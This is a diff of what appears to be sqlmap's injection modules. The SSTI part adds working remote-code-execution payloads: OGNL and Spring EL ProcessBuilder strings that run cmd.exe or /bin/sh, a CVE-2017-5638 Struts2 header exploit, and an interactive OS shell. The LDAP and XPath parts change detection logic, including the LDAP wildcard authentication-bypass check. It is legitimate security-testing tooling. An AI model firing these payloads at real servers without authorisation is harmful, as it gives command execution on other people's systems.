if oracle is None:
# detection confirmed, but the extraction true/false models are not reliably
# separable -> report the finding WITHOUT dumping (never fabricate directory data)
logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s'); "
"extraction disabled (true/false models not reliably separable)" % (place, parameter, backend or "Generic"))
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: LDAP boolean-based blind (extraction unavailable)\n Payload: %s\n---" % (parameter, place, payload))
continue
logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic"))
slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=oracle.template, payload=payload, breakout=breakout))
continue
# Phase 3: wildcard auth bypass (credential fields only).
# Phase 3: wildcard behavior on a credential field. A `*`-vs-random response difference is
# NOT a confirmed authentication bypass: it proves neither a query-boundary escape nor an
# authenticated-state transition (no redirect / session cookie / success-marker check here).
# Report it as INFORMATIONAL only - a confirmed bypass needs a real authenticated-state proof.
bypass = _detectAuthBypass(place, parameter)
if bypass:
found += 1
logger.info("%s parameter '%s' allows LDAP wildcard auth bypass (password=*)" % (place, parameter))
if conf.beep:
beep()
slots.append(Slot(place=place, parameter=parameter, bypass=bypass))
logger.info("%s parameter '%s': wildcard '*' changes the response (possible LDAP filter influence / auth-bypass surface) - INFORMATIONAL, not a confirmed injection (no authenticated-state transition verified)" % (place, parameter))
continue
# Parser-error alone is not exploitable -- log it but do not

File diff suppressed because it is too large Load diff

View file

@ -23,6 +23,8 @@ from lib.core.enums import PLACE
from lib.core.settings import SSTI_ERROR_SIGNATURES
from lib.core.settings import UPPER_RATIO_BOUND
from lib.request.connect import Connect as Request
from lib.utils.nonsql import ratio as _ratio
from lib.utils.nonsql import blockedStatus
from thirdparty.six.moves.urllib.parse import quote as _quote
@ -211,8 +213,6 @@ _ENGINE_TABLE = (
)
def _ratio(first, second):
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
def _delim(place):
@ -273,11 +273,15 @@ def _send(place, parameter, value):
kwargs = {"raise404": False, "silent": True}
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
page, _, _ = Request.getPage(**kwargs)
page, _, code = Request.getPage(**kwargs)
# a transport failure or a BLOCKED/ERROR status (5xx, 403/429) is not a usable oracle sample -
# signal None so the detection routines (which reject None) can never decide on it
if blockedStatus(code):
return None
return page or ""
except Exception as ex:
logger.debug("SSTI probe request failed: %s" % getUnicode(ex))
return ""
return None
finally:
conf.parameters[place] = old_params
@ -461,22 +465,39 @@ def _detectBoolean(place, parameter, engine):
"""Establish a boolean oracle for this engine. Returns the true template or None."""
original = _originalValue(place, parameter) or ""
# arithmetic-only engines (e.g. Struts2 OGNL) carry no boolean payloads - nothing to do here
if not engine.booleanTrue or not engine.booleanFalse:
return None
truePayload = original + engine.booleanTrue
falsePayload = original + engine.booleanFalse
if engine.trueRendered:
truePage = _send(place, parameter, truePayload)
if not truePage:
return None
text = getUnicode(truePage)
if truePayload in text or engine.trueRendered not in text:
return None
# Reject reflected false payload
truePage = _send(place, parameter, truePayload)
falsePage = _send(place, parameter, falsePayload)
if falsePage and falsePayload in getUnicode(falsePage):
if not truePage or not falsePage:
return None
trueText, falseText = getUnicode(truePage), getUnicode(falsePage)
# a raw payload surviving in the response means the template did NOT evaluate it
if truePayload in trueText or falsePayload in falseText:
return None
# an engine ERROR page is not a valid boolean rendering: a syntactically invalid true/false pair
# that merely trips two DIFFERENT error messages would otherwise diverge and fake an oracle
if _isError(truePage, engine) or _isError(falsePage, engine):
return None
if engine.trueRendered:
# attribution guard: the true marker must be ABSENT from the untouched baseline (else it is
# page furniture, not our evaluated output), PRESENT in the true page, and ABSENT from the
# false page - so the divergence is provably OUR rendered boolean, not incidental page drift
baseline = getUnicode(_send(place, parameter, original) or "")
if engine.trueRendered in baseline:
return None
if engine.trueRendered not in trueText or engine.trueRendered in falseText:
return None
return _boolean(lambda p=truePayload: _send(place, parameter, p),
lambda p=falsePayload: _send(place, parameter, p))
@ -561,7 +582,12 @@ def _fingerprint(place, parameter):
if bestEngine is engine and evidence.get("arithmetic") and engine.delimiter not in _SHARED_DELIMITERS:
break
if bestEngine and bestScore >= 3:
# CONFIRMED requires an EVALUATION proof - in-band arithmetic (randomized pair) or a template
# boolean oracle. Weak signals (error / distinguishing / family) are NOT summed into a
# confirmation: the old `score >= 3` let boolean+error, distinguishing+error, or even a lone
# generic parser error "confirm" SSTI with no proof the template actually evaluated our input
# (and then drive automatic RCE on an unproven finding).
if bestEngine and (bestEvidence.get("arithmetic") or bestEvidence.get("boolean")):
# For engines with ambiguous delimiters (shared by multiple engines),
# name a specific engine when: error fingerprint, distinguishing probe,
# or boolean rendering is unique within the delimiter family.
@ -580,20 +606,20 @@ def _fingerprint(place, parameter):
name="%s (probable %s)" % (_FAMILY[bestEngine.delimiter], bestEngine.name))
return bestEngine, bestEvidence
# Fallback: generic error detection
errorBackend = None
# weak signals only (parser reachable, but NO evaluation proof) -> informational, NOT confirmed
if bestEngine and bestScore >= 1:
logger.info("%s parameter '%s' reaches a template parser (evidence: %s) but SSTI is NOT "
"confirmed - no arithmetic/boolean evaluation proof" % (place, parameter, ",".join(sorted(bestEvidence)) or "error"))
return None, None
# generic parser-family error only -> informational, never a confirmed engine
for suffix in ("{{", "${", "<%=", "#{"):
page = _send(place, parameter, _originalValue(place, parameter) + suffix)
if page:
backend = _backendFromError(page)
if backend:
errorBackend = backend
break
if errorBackend:
for engine in _ENGINE_TABLE:
if engine.name.lower() in errorBackend.lower():
return engine, {"error": True}
backend = _backendFromError(page) if page else None
if backend:
logger.info("%s parameter '%s' triggers a %s template-parser error, but SSTI is NOT "
"confirmed (no evaluation proof)" % (place, parameter, backend))
break
return None, None
@ -605,8 +631,11 @@ def sstiScan():
logger.debug(debugMsg)
# CVE-2017-5638 (S2-045): OGNL via the Content-Type header - a distinct, non-reflected Struts2
# vector that needs no request parameter, so it is probed once up front.
if _probeStruts2Header(conf.url):
# vector that needs no request parameter, so it is probed once up front. Reporting it must NOT
# short-circuit the rest of the scan: request PARAMETERS can be independently SSTI-injectable and
# were previously never tested once this fired.
struts2 = _probeStruts2Header(conf.url)
if struts2:
logger.info("%s header is vulnerable to SSTI (back-end: 'Struts2 (OGNL)', CVE-2017-5638)" % HTTP_HEADER.CONTENT_TYPE)
if conf.beep:
beep()
@ -621,11 +650,12 @@ def sstiScan():
_dumpS2045(conf.url, conf.osCmd)
if conf.get("osShell"):
_osShell(lambda cmd: _dumpS2045(conf.url, cmd))
logger.info("SSTI scan complete")
return
if not conf.paramDict:
logger.error("no request parameters to test (use --data, GET params, or similar)")
if not struts2:
logger.error("no request parameters to test (use --data, GET params, or similar)")
else:
logger.info("SSTI scan complete")
return
tested = 0
@ -649,7 +679,10 @@ def sstiScan():
if conf.beep:
beep()
if engine.arithmeticFmt:
# report the payload that ACTUALLY proved the finding, not merely one the engine
# supports - showing the 7*7 arithmetic payload when only the boolean oracle fired
# misrepresents what was tested
if evidence.get("arithmetic") and engine.arithmeticFmt:
payload = _originalValue(place, parameter) + _arithmeticPayload(engine.arithmeticFmt, 7, 7)
else:
payload = _originalValue(place, parameter) + engine.booleanTrue
@ -676,31 +709,44 @@ def sstiScan():
logger.info("back-end template engines: %s" % ", ".join(sorted(engines)))
if found:
slot = found[0]
place, parameter, engine, evidence = slot
wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell"))
# If the user did not ask for exploitation, confirm (benignly) whether OS command
# execution is reachable and, if so, advise the relevant switches.
if not wantsTakeover and _canTakeover(engine, evidence) and _probeRce(place, parameter, engine):
logger.info("the back-end '%s' allows OS command execution via this injection; "
"you are advised to try '--os-shell' (interactive) or "
"'--os-cmd=<command>' (single command)" % engine.name)
# Rank ALL confirmed vectors, not just found[0]: automatic exploitation must select the
# strongest VERIFIED takeover vector - the first confirmed slot may not support command
# execution while a later one does. Candidates are the exact-engine, proof-backed slots; the
# winner is the first whose reflection-proof RCE capability actually confirms.
candidates = [(pl, pr, en, ev) for (pl, pr, en, ev) in found if _canTakeover(en, ev)]
rceSlot = None
for pl, pr, en, ev in candidates:
if _probeRce(pl, pr, en):
rceSlot = (pl, pr, en, ev)
break
# `--ssti` is an auxiliary, self-contained switch, so once SSTI is confirmed we AUTOMATICALLY
# probe whether OS command execution is reachable and advise the takeover switches. Users of
# this niche switch generally don't know to try --os-shell/--os-cmd (actual execution still
# requires those switches).
if not wantsTakeover:
if rceSlot:
_, _, en, _ = rceSlot
logger.info("the back-end '%s' allows OS command execution via %s parameter '%s'; you "
"are advised to try '--os-shell' (interactive) or '--os-cmd=<command>' "
"(single command)" % (en.name, rceSlot[0], rceSlot[1]))
# --os-cmd / --os-shell: RCE via SSTI (reuses existing SQL takeover flags)
if conf.get("osCmd") or conf.get("osShell"):
if not _canTakeover(engine, evidence):
logger.error("takeover requires exact engine fingerprint (got '%s') and "
"confirmed proof (arithmetic or boolean oracle)" % engine.name)
else:
if conf.get("osCmd"):
_executeCommand(place, parameter, engine, conf.osCmd)
elif not candidates:
logger.error("takeover requires an exact engine fingerprint and confirmed proof "
"(arithmetic or boolean oracle); none of the confirmed vectors qualify")
else:
# prefer the capability-verified vector; fall back to the first takeover-capable candidate
# (the user explicitly asked, and _executeCommand carries its own capture fallbacks)
pl, pr, en, ev = rceSlot or candidates[0]
if conf.get("osCmd"):
_executeCommand(pl, pr, en, conf.osCmd)
# Interactive shell runs even under --batch (mirrors the SQL --os-shell, which
# reads commands straight from the terminal); EOF / 'exit' / 'quit' leaves it.
if conf.get("osShell"):
_osShell(lambda cmd: _executeCommand(place, parameter, engine, cmd))
# Interactive shell runs even under --batch (mirrors the SQL --os-shell, which reads
# commands straight from the terminal); EOF / 'exit' / 'quit' leaves it.
if conf.get("osShell"):
_osShell(lambda cmd: _executeCommand(pl, pr, en, cmd))
logger.info("SSTI scan complete")
@ -738,6 +784,58 @@ _FILE_RCE = {
),
}
# Windows variants of the Java file-based channel: exec via cmd.exe (/bin/sh does not exist), read back
# the same way. Selected by _fileRceCapture when the Unix family did not confirm execution.
_FILE_RCE_WINDOWS = {
"Spring EL / Thymeleaf": (
"${new ProcessBuilder(new String[]{'cmd.exe','/c','{CMD} > {OUTFILE} 2>&1'}).start()}",
"${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}",
),
"Struts2 (OGNL)": (
"%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe','/c','{CMD} > {OUTFILE} 2>&1'})).(#p.start())}",
"%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(new java.lang.String(@java.nio.file.Files@readAllBytes(new java.io.File('{OUTFILE}').toPath())))}",
),
}
# --- OS/shell-family RCE command builders -----------------------------------
# Reflection-proof primitives per family; `_probeRce`/`_executeCommand` try each family (Unix first) so
# takeover works on a Windows-hosted template engine without a separate OS-detection round-trip.
# challenge(a, b) -> a command whose STDOUT is the derived product a*b (never in the request)
# framed(cmd, sa, sb, ea, eb) -> a command printing <sa><sb><cmd-stdout><ea><eb>, the markers built by
# RUNTIME concatenation so the completed marker never appears in the request
def _unixChallenge(a, b):
return "echo $((%d*%d))" % (a, b)
def _winChallenge(a, b):
# `set /a` evaluates integer arithmetic and prints the result; cmd /c so it runs even when the engine
# execs a binary directly (Runtime.exec) rather than through a shell
return "cmd /c set /a %d*%d" % (a, b)
def _unixFramed(cmd, sa, sb, ea, eb):
# printf concatenates its two %s (sa+sb / ea+eb) at runtime; the request carries them separated
return "printf %%s%%s %s %s; %s; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb)
def _winFramed(cmd, sa, sb, ea, eb):
# `echo|set /p=X` prints X with NO trailing newline; `&` sequences the commands, so stdout is the
# runtime concatenation <sa><sb><cmd-stdout><ea><eb> - the joined markers are absent from the request
return 'cmd /c "echo|set /p=%s&echo|set /p=%s&%s&echo|set /p=%s&echo|set /p=%s"' % (sa, sb, cmd, ea, eb)
_SHELL_FAMILIES = (
("unix", _unixChallenge, _unixFramed),
("windows", _winChallenge, _winFramed),
)
# per-family temp file + cleanup for the Java file-based channel
_FILE_TEMP = {
"unix": (lambda name: "/tmp/%s" % name, _FILE_RCE, lambda f: "rm -f %s" % f),
"windows": (lambda name: "%%TEMP%%\\%s" % name, _FILE_RCE_WINDOWS, lambda f: "cmd /c del /q %s" % f),
}
def _commandOutput(page, baseline, original, payload, engine):
"""Extract genuine command output from a response via baseline diff, rejecting error pages and
@ -764,7 +862,10 @@ def _commandOutput(page, baseline, original, payload, engine):
output = output.strip()
# A template that ECHOED our payload directive instead of executing it is reflection, not output.
if output and output in payload:
# The test is whether the injected DIRECTIVE leaked into the response (payload fragment present in
# output), NOT whether the output happens to be a substring of the payload - the latter discarded
# legitimate results such as `echo hello` -> "hello" (naturally a substring of "...echo hello...").
if output and payload and (payload in output or _ratio(output, payload) >= UPPER_RATIO_BOUND):
return None
# A bare Process-object toString ("Process[pid=..]" on JDK9+, "java.lang.UNIXProcess@.."/"ProcessImpl@.."
@ -782,72 +883,167 @@ def _commandOutput(page, baseline, original, payload, engine):
def _fileRceCapture(place, parameter, engine, original, cmd, extract):
"""Two-step file-based RCE for JDK-hardened Java engines (see _FILE_RCE): fire the exec payload
(redirects the command's output to a random temp file), then poll-read that file. 'extract' is a
callback (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(),
so the read is retried a few times. Returns whatever 'extract' yields, else None."""
spec = _FILE_RCE.get(engine.name)
if not spec:
return None
(redirects the command's output to a random temp file), then poll-read that file. Tries the Unix
family (/tmp, /bin/sh) then the Windows family (%TEMP%, cmd.exe). 'extract' is a callback
(readPayload, page) -> result-or-None. The temp-file write is async of the blind start(), so the read
is retried a few times. Returns whatever 'extract' yields, else None."""
for family, (tempPath, specs, cleanupCmd) in _FILE_TEMP.items():
spec = specs.get(engine.name)
if not spec:
continue
execTemplate, readTemplate = spec
outFile = "/tmp/%s" % randomStr(length=12, lowercase=True)
execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile)
_send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored
execTemplate, readTemplate = spec
outFile = tempPath(randomStr(length=12, lowercase=True))
execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile)
_send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored
readPayload = readTemplate.replace("{OUTFILE}", outFile)
for _ in range(3):
page = _send(place, parameter, original + readPayload)
result = extract(readPayload, page)
readPayload = readTemplate.replace("{OUTFILE}", outFile)
result = None
for _ in range(3):
page = _send(place, parameter, original + readPayload)
result = extract(readPayload, page)
if result is not None:
break
time.sleep(1)
# best-effort cleanup: don't leave the random temp file behind on the target
try:
cleanup = execTemplate.replace("{CMD}", _escapeSingleQuoted(cleanupCmd(outFile))).replace("{OUTFILE}", outFile)
_send(place, parameter, original + cleanup)
except Exception:
pass
if result is not None:
return result
time.sleep(1)
return None
def _derivedExecuted(page, baseline, expected):
"""Reflection-proof proof-of-execution test using a DERIVED challenge. The probe runs `echo
$((A*B))`: only A and B appear in the request, never their product. A template/app that merely
REFLECTS the request - raw, URL-encoded, HTML-escaped, or otherwise transformed - therefore CANNOT
reproduce the product, because it is not present anywhere in the payload. So the product appearing
in the response, and being absent from the untouched baseline, is genuine command output. Returns
True or None (None keeps the _fileRceCapture callback contract)."""
if not page or (baseline and expected in baseline):
return None
return True if expected in page else None
def _probeRce(place, parameter, engine):
"""Benign, quiet RCE-capability check: run `echo <marker>` via the engine's RCE payloads and
return True if the marker is reflected (proving OS command execution is reachable). Used only
to advise the user; it has no side effect beyond echoing a random token."""
"""Quiet RCE-capability check: run a DERIVED arithmetic challenge (`echo $((A*B))`) via the engine's
RCE payloads and confirm OS command execution is reachable. Used to advise the user once SSTI is
confirmed. The expected result (the product) is NOT present in the request, so no reflection -
encoded or not - can fake it (see _derivedExecuted); two independently-randomized confirmations are
required. In-band capture is tried first; if blocked (e.g. a hardened JDK whose stdout capture is
reflectively disabled) it confirms via the two-step file-based channel (inherently reflection-proof
- the value comes from shell evaluation into a file we wrote - and self-cleans)."""
if not engine.rcePayloads:
return False
marker = randomStr(length=12, lowercase=True)
original = _originalValue(place, parameter) or ""
for payloadTemplate, _description in engine.rcePayloads:
payload = payloadTemplate.replace("{CMD}", "echo %s" % marker)
page = _send(place, parameter, original + payload)
if page and marker in getUnicode(page):
return True
baseline = getUnicode(_send(place, parameter, original) or "")
# in-band capture blocked (e.g. hardened JDK) -> confirm via the two-step file-based channel
return bool(_fileRceCapture(place, parameter, engine, original, "echo %s" % marker,
lambda readPayload, page: True if (page and marker in getUnicode(page)) else None))
# COUNT confirmations, not loop iterations: a challenge whose product coincidentally collides with
# the baseline is skipped and REGENERATED (it does not count as a confirmation), so an all-collision
# run can never fall through the loop and return success with zero executed payloads.
confirmed = generated = 0
while confirmed < 2 and generated < 10:
generated += 1
a, b = randomInt(4), randomInt(4)
expected = str(a * b)
if expected in baseline or expected in (str(a) + str(b)): # coincidental collision -> regenerate
continue
hit = False
# try each OS/shell family's derived challenge (Unix first, then Windows `set /a`)
for _family, challenge, _framed in _SHELL_FAMILIES:
cmd = challenge(a, b)
for payloadTemplate, _description in engine.rcePayloads:
payload = payloadTemplate.replace("{CMD}", cmd)
page = getUnicode(_send(place, parameter, original + payload) or "")
if _derivedExecuted(page, baseline, expected):
hit = True
break
if hit:
break
if not hit:
# in-band capture blocked -> confirm via the two-step file-based channel (self-cleaning);
# a Unix-family challenge is fine here (the file channel picks the OS family itself)
hit = bool(_fileRceCapture(place, parameter, engine, original, _unixChallenge(a, b),
lambda readPayload, page: _derivedExecuted(getUnicode(page or ""), baseline, expected)))
if not hit:
return False
confirmed += 1
return confirmed >= 2
def _framedOutput(page, start, end):
"""Slice a command's real stdout from a response that bracketed it between two DERIVED markers. Each
marker is the concatenation of two random fragments that the shell joins at runtime (`printf %s%s A
B` -> `AB`); the completed marker `AB` never appears literally in the request (which carries `A B`
separated), so a reflected payload - raw, URL-encoded, HTML-escaped, whitespace/case-normalized -
cannot reproduce it. Finding both markers in order therefore proves execution, and the text between
them is genuine output. Returns the sliced text or None."""
if not page or start not in page:
return None
i = page.index(start) + len(start)
j = page.find(end, i)
if j < 0:
return None
return page[i:j].strip()
def _executeCommand(place, parameter, engine, cmd):
"""Execute an OS command via the engine's RCE payloads, trying each fallback in order until one
produces output (captured via baseline diff), then a two-step file-based fallback for JDK-hardened
Java engines whose in-band stdout capture is reflectively blocked (see _FILE_RCE)."""
"""Execute an OS command via the engine's RCE payloads. Preferred capture brackets the command's
output between two random markers so it slices out cleanly - immune to dynamic page material and to
reflection. Falls back to a baseline diff for engines whose RCE payload does not run through a shell
(no ';' sequencing), then to a two-step file-based capture for JDK-hardened Java engines whose in-band
stdout is reflectively blocked (see _FILE_RCE)."""
safeCmd = _escapeSingleQuoted(cmd)
original = _originalValue(place, parameter) or ""
baseline = _send(place, parameter, original)
for payloadTemplate, description in engine.rcePayloads:
payload = payloadTemplate.replace("{CMD}", safeCmd)
page = _send(place, parameter, original + payload)
output = _commandOutput(page, baseline, original, payload, engine)
if output is not None:
conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output))
return
# (1) reflection-proof boundary-marker capture. Each marker is a RUNTIME concatenation of two
# fragments (`printf %s%s A B` -> `AB` on Unix; `echo|set /p=A&echo|set /p=B` -> `AB` on Windows),
# so the completed marker `AB` is never literally in the request - encoded/escaped reflection cannot
# forge it. Both OS families are tried (Unix first); the one whose shell actually runs wins.
for _family, _challenge, framed in _SHELL_FAMILIES:
sa, sb, ea, eb = (randomStr(6, lowercase=True) for _ in range(4))
start, end = sa + sb, ea + eb
framedCmd = _escapeSingleQuoted(framed(cmd, sa, sb, ea, eb))
for payloadTemplate, description in engine.rcePayloads:
payload = payloadTemplate.replace("{CMD}", framedCmd)
page = getUnicode(_send(place, parameter, original + payload) or "")
out = _framedOutput(page, start, end)
if out is not None:
conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, out))
return
# (2) file-based capture (JDK-hardened Java engines) - reflection-proof (reads a file we wrote)
output = _fileRceCapture(place, parameter, engine, original, cmd,
lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine))
if output is not None:
conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output))
return
# (3) LAST resort: unframed payload + baseline diff. This channel is NOT reflection-proof - a
# baseline difference can be dynamic page material (a rotating CSRF token, timestamp, ad, request
# id), so its output is shown only with an explicit UNVERIFIED caveat, never as clean stdout. The
# command DID execute (blind), but the displayed text may not be its output.
for payloadTemplate, description in engine.rcePayloads:
payload = payloadTemplate.replace("{CMD}", safeCmd)
page = _send(place, parameter, original + payload)
output = _commandOutput(page, baseline, original, payload, engine)
if output is not None:
logger.warning("blind execution confirmed but no reflection-proof output channel; the text "
"below is an UNVERIFIED baseline diff and may include dynamic page material")
conf.dumper.singleString("\nos-shell (%s) [%s, UNVERIFIED diff]:\n%s" % (cmd, description, output))
return
logger.warning("no output received for OS command '%s'" % cmd)
@ -893,26 +1089,44 @@ def _s2045Send(url, action):
def _probeStruts2Header(url):
"""Detect CVE-2017-5638 benignly: print a random marker to the response via OGNL (no command
execution) and confirm it echoes back. Returns the marker on success, else None."""
marker = randomStr(length=16, lowercase=True)
action = "(#w=#resp.getWriter()).(#w.print('%s')).(#w.flush())" % marker
page = _s2045Send(url, action)
return marker if (page and marker in page) else None
"""Detect CVE-2017-5638 with a reflection-PROOF derived challenge. Rather than printing a literal
marker (which a server that merely reflects the Content-Type header would echo back -> false
positive), have OGNL COMPUTE an arithmetic product and print it: only the operands A and B appear in
the header, never the product, so no header reflection - raw, HTML-escaped or URL-encoded - can
reproduce it. Requires TWO independently-randomized confirmations against a baseline. Returns True on
confirmed execution, else None."""
baseline = _s2045Send(url, "(#resp.getWriter().flush())") # benign no-op baseline (no marker)
# COUNT confirmations, not iterations: a product colliding with the baseline is regenerated, so an
# all-collision run can never return success without an actually-evaluated challenge.
confirmed = generated = 0
while confirmed < 2 and generated < 10:
generated += 1
a, b = randomInt(4), randomInt(4)
expected = str(a * b)
if expected in (baseline or "") or expected in (str(a) + str(b)):
continue # coincidental collision -> regenerate
action = "(#w=#resp.getWriter()).(#w.print(%d*%d)).(#w.flush())" % (a, b)
page = _s2045Send(url, action)
if not (page and expected in page and expected not in (baseline or "")):
return None
confirmed += 1
return True if confirmed >= 2 else None
def _executeStruts2Header(url, cmd):
"""Run an OS command through the S2-045 Content-Type vector and return its stdout. The output is
bracketed by random markers (echoed by the shell) so it slices cleanly out of a response that also
carries the action's own HTML."""
start, end = randomStr(length=10, lowercase=True), randomStr(length=10, lowercase=True)
wrapped = "echo %s; %s 2>&1; echo %s" % (start, cmd, end)
bracketed by DERIVED markers - each is two random fragments the shell concatenates at runtime
(`printf %s%s A B` -> `AB`), so the completed marker never appears literally in the header and a
reflected header cannot forge it (nor be sliced as fake 'output')."""
sa, sb, ea, eb = (randomStr(6, lowercase=True) for _ in range(4))
start, end = sa + sb, ea + eb
wrapped = "printf %%s%%s %s %s; %s 2>&1; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb)
action = ("(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','%s'}))."
"(#p.redirectErrorStream(true)).(#pr=#p.start())."
"(@org.apache.commons.io.IOUtils@copy(#pr.getInputStream(),#resp.getOutputStream()))."
"(#resp.getOutputStream().flush())") % _escapeSingleQuoted(wrapped)
page = _s2045Send(url, action)
if start in page and end in page:
if start in page and end in page and page.index(start) < page.index(end):
return page.split(start, 1)[-1].split(end, 1)[0].strip("\r\n")
return None

View file

@ -5,7 +5,6 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import difflib
import re
import time
@ -18,6 +17,14 @@ from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import PLACE
from lib.utils.nonsql import INCONCLUSIVE_MARK
from lib.utils.nonsql import userDecision
from lib.utils.nonsql import InconclusiveError
from lib.utils.nonsql import resolveBit
from lib.utils.nonsql import sqlErrorPresent
from lib.utils.nonsql import blockedStatus
from lib.utils.nonsql import ratio as _ratio
from lib.utils.nonsql import userOracleActive
from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.settings import XPATH_CHAR_MAX
from lib.core.settings import XPATH_CHAR_MIN
@ -31,6 +38,7 @@ from lib.utils.xrange import xrange
SENTINEL = randomStr(length=10, lowercase=True)
XPATH_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
# Each detection breakout is paired with a false variant and an (optional) extraction
@ -86,8 +94,6 @@ Slot = namedtuple("Slot", ("place", "parameter", "backend", "oracle", "template"
Slot.__new__.__defaults__ = (None, None, None, None, None, None, None)
def _ratio(first, second):
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
def _delim(place):
@ -145,17 +151,29 @@ def _send(place, parameter, value):
kwargs = {"raise404": False, "silent": True}
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
page, _, _ = Request.getPage(**kwargs)
page, _, code = Request.getPage(**kwargs)
# A transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is NOT a usable
# oracle sample: returning "" for it would let a one-sided failure fake a true/false divergence
# (an empty body cannot be told apart from a dead connection). Signal it as None -> the boolean
# routines and the extraction oracle already reject None, so it can never decide a bit.
if blockedStatus(code):
return None
return page or ""
except Exception as ex:
logger.debug("XPath probe request failed: %s" % getUnicode(ex))
return ""
return None
finally:
conf.parameters[place] = old_params
def _isError(page):
return bool(re.search(XPATH_ERROR_REGEX, getUnicode(page or "")))
# an XPath parser error OR a recognized SQL/DBMS error marks a response as NOT a valid boolean
# template. The SQL/DBMS guard (reusing sqlmap's errors.xml via htmlParser + the generic
# `SQL (warning|error|syntax)` marker) is essential: a break-out like `*` or `') or ...` trips a
# DBMS syntax error on a SQL-injectable parameter, and that error page merely differs from a
# normal page - which would otherwise fake a boolean oracle and misreport SQLi as XPath.
page = getUnicode(page or "")
return bool(re.search(XPATH_ERROR_REGEX, page)) or sqlErrorPresent(page)
def _backendFromError(page):
@ -163,7 +181,9 @@ def _backendFromError(page):
for backend, regex in XPATH_ERROR_SIGNATURES:
if re.search(regex, page):
return backend
return "Generic XPath" if _isError(page) else None
# ONLY an actual XPath parser error names a (generic) XPath back-end - never a SQL/DBMS error
# (which _isError also flags now, but must not be attributed to XPath here)
return "Generic XPath" if re.search(XPATH_ERROR_REGEX, page) else None
def _probeBackendByParserError(place, parameter):
@ -207,6 +227,10 @@ def _boolean(truthy, falsy):
if _ratio(falsePage, falsePage2) < UPPER_RATIO_BOUND:
return None
# honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity
if userOracleActive():
return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
return truePage
@ -220,6 +244,32 @@ def _makePayload(original, boundary, predicate):
return "%s%s%s" % (original, boundary.prefix, predicate)
# XPath 1.0-only boolean predicates: each pair differs ONLY in the XPath construct and flips
# true/false on a real XPath engine, while a SQL back-end errors on all of them (no divergence).
# A battery (not one primitive) survives an injection context that rejects any single function.
# DELIBERATELY EXCLUDED after live testing: substring() (MySQL also has it -> would false-positive)
# and anything using '/*' (a SQL comment opener). Validated SQL-safe on the karlobag MySQL junkyard.
_XPATH_PREDICATES = (
("string-length('ab')=2", "string-length('ab')=3"),
("normalize-space(' a ')='a'", "normalize-space(' a ')='z'"),
("translate('ab','a','x')='xb'", "translate('ab','a','x')='zz'"),
)
def _xpathConfirm(place, parameter, original, boundary):
"""Confirm the injection context actually evaluates XPath, not SQL. The `' or '1'='1` break-out
family is IDENTICAL to classic SQL injection, so without a positive XPath-only proof a SQL-
injectable parameter would false-positive as XPath. Try the whole battery (wrapped in the SAME
verified boundary); ANY member that flips true/false proves an XPath parser."""
for truePred, falsePred in _XPATH_PREDICATES:
truePayload = _makePayload(original, boundary, truePred)
falsePayload = _makePayload(original, boundary, falsePred)
if _boolean(lambda p=truePayload: _send(place, parameter, p),
lambda p=falsePayload: _send(place, parameter, p)) is not None:
return True
return False
def _detectBoolean(place, parameter):
"""Return (template, payload, boundary) for boolean-blind XPath injection.
boundary is None for detection-only breakouts (wildcard, union)."""
@ -237,15 +287,16 @@ def _detectBoolean(place, parameter):
lambda p=falseSpecific: _send(place, parameter, p))
if template:
boundary = _BREAKOUT_BOUNDARY.get(breakout)
# an extractable (boundary-carrying) break-out shares its syntax with SQL injection;
# require an XPath-specific confirm before accepting it, else keep looking
if boundary and not _xpathConfirm(place, parameter, original, boundary):
continue
return template, truePayload, boundary
# Wildcard: only useful for bool differentiation, not enumeration
if original:
template = _boolean(lambda: _send(place, parameter, "*"),
lambda: _send(place, parameter, SENTINEL))
if template:
return template, "*", None
# NOTE: no bare `*`-vs-sentinel wildcard fallback. A wildcard that returns more rows than a random
# term is normal search behavior, not proof of an XPath query-boundary escape, and it carries no
# boundary to confirm XPath (vs SQL) or to drive extraction. Detection rests only on an XPath-
# confirmed boolean break-out (above).
return None, None, None
@ -276,6 +327,15 @@ def _xpathQuote(s):
return "concat(%s)" % ", '\"', ".join('"%s"' % part for part in s.split('"'))
def _extractionBase(original, boundary):
"""The base value the EXTRACTION payloads use (and therefore the base the oracle must be
calibrated with). An OR-style boundary is always-true whenever the original branch matches, so
